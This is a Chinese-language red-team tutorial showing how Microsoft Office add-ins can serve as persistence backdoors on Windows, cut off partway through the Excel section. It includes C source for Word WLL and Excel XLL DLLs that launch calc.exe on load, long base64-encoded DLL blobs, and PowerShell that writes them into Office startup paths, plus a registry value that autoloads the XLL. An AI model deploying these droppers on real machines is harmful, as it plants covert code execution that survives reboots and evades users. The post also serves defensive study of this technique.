Use Office to maintain persistence
0x00 前言
对于 Windows 平台，Microsoft Office 的普及率很高。站在攻击者的角度，通常会选择在 Office 软件中植入后门。
我在一篇博客上看到了 Office 后门的多种利用方法，我对其进行了研究测试，挑选其中较为通用、隐蔽的方式，编写 POC 脚本实现自动利用。
博客地址：https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
作者： William Knowles@william_knows
POC：https://github.com/3gstudent/Office-Persistence
0x01 简介
本文将要介绍以下内容：
- 针对 Word、Excel、PowerPoint 的四种后门利用方法
- 编写 Powershell 脚本实现自动利用
- 比较优缺点，分析防御方法
0x02 Word WLL
1、手动测试
开发工具： VC6.0
新建 dll 工程，代码如下：
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,"hello world，I'm 3kb","title",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
编译成 msg.dll，作如下设置减小编译文件体积：
- Build：release
- 添加代码：#pragma comment(linker,"/OPT:nowin98")
- 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL
经过优化，dll 大小为 3kb
重命名为 msg.wll，保存路径如下：
C:\Users\a\AppData\Roaming\Microsoft\Word\Startup
启动 Word.exe，弹框，界面卡住，Word 无法正常执行；关闭弹出的对话框后，Word 正常启动
如下图
注：
通过 Metasploit 的 msfvenom 生成的 dll，会导致 Word 程序崩溃
修改 c 代码，实现启动计算器，代码如下：
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
编译成 calc.dll，优化后大小为 3kb
重命名为 calc.wll，保存在路径 C:\Users\a\AppData\Roaming\Microsoft\Word\Startup
启动 Word.exe，弹出计算器，并且 word 正常启动
如下图
注：
Startup 路径可保存多个 wll，支持启动多个 wll
2、编写 Powershell 脚本实现
wll 路径对应的 powershell 代码如下：
$env:APPDATA+"\Microsoft\Word\Startup\calc.wll"
将编译好的 3kb 大小的 calc.dll 作 base64 加密并存储于变量中：
$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")
得到
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
用变量$fileContent 存储 base64 加密的 calc.dll
base64 解密并释放 calc.wll 至 Startup 路径的代码如下：
$fileContent = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent)
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)
以上代码运行后，在 C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\ 生成 calc.wll，启动 word.exe 时，弹出计算器
0x03 Excel XLL
1、手动测试
新建 dll 工程，添加导出函数 xlAutoOpen，具体代码如下：
void xlAutoOpen()
{
WinExec("calc.exe",SW_SHOWNORMAL);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
添加文件，设置类型：Text File
名称：工程同名文件.def
写入：
EXPORTS
xlAutoOpen
编译成 calc2.dll，导出函数为 xlAutoOpen()，优化后大小为 3kb
重命名为 calc.xll，保存路径如下：
%appdata%\Microsoft\AddIns
查找注册表键值：
Office2010 对应的键值为：
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options
Office2013 对应的键值为：
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options
新建 字符串 值： OPEN ： /R calc.xll
启动 Excel.exe，弹出计算器，并且 Excel 正常启动
2、编写 Powershell 脚本实现
同上，calc2.dll 作 base64 加密并存储于变量中：
$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")
得到
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ZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
用变量$fileContent 存储 base64 加密的 calc.xll
根据.xll 文件的释放路径，base64 解密并生成 calc.xll 的代码如下：
$fileContent = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIA